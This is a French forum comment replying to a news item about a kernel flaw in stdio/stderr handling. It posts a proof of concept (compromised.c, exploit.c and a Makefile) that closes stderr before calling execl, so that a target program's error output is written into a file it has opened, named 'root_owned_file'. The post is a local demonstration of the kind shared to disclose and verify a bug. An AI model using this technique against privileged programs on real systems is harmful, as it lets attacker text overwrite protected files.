• # j'ai teste pour vous sous linux

    Posté par (site web personnel, Mastodon) . En réponse à la dépêche Faille dans certains noyaux : détournement de stdio/stderr. Évalué à -5.

    sur ma version de linux il y a bien le probleme.
    copiez le trois fichiers compromised.c exploit.c et Makefile dans un repertoire...

    #compromised.c
    #include <stdio.h>

    int main( int argc, char* argv[]) {
    FILE * f = fopen("root_owned_file", "r+");
    if(f) {
    fprintf(stderr, "%s: fopen() succeeded\n", argv[0]);
    fclose(f);
    }

    }

    #exploit.c
    #include <unistd.h>
    #include <stdio.h>

    /*
    argv[1] should contain global path to compromised program.
    */
    int main(int argc, char* argv[]) {
    /*
    uhm this defeat execl...
    while(dup(1) != -1);
    */
    close(2);
    execl(argv[1],
    "this text will endup in the root_owned_file", 0);

    }

    #Makefile
    doit:
    gcc compromised.c -o compromised
    gcc exploit.c -o exploit
    rm -f root_owned_file
    touch root_owned_file
    ./exploit compromised

    #test it
    make doit

    verifiez le contenu de root_owned file !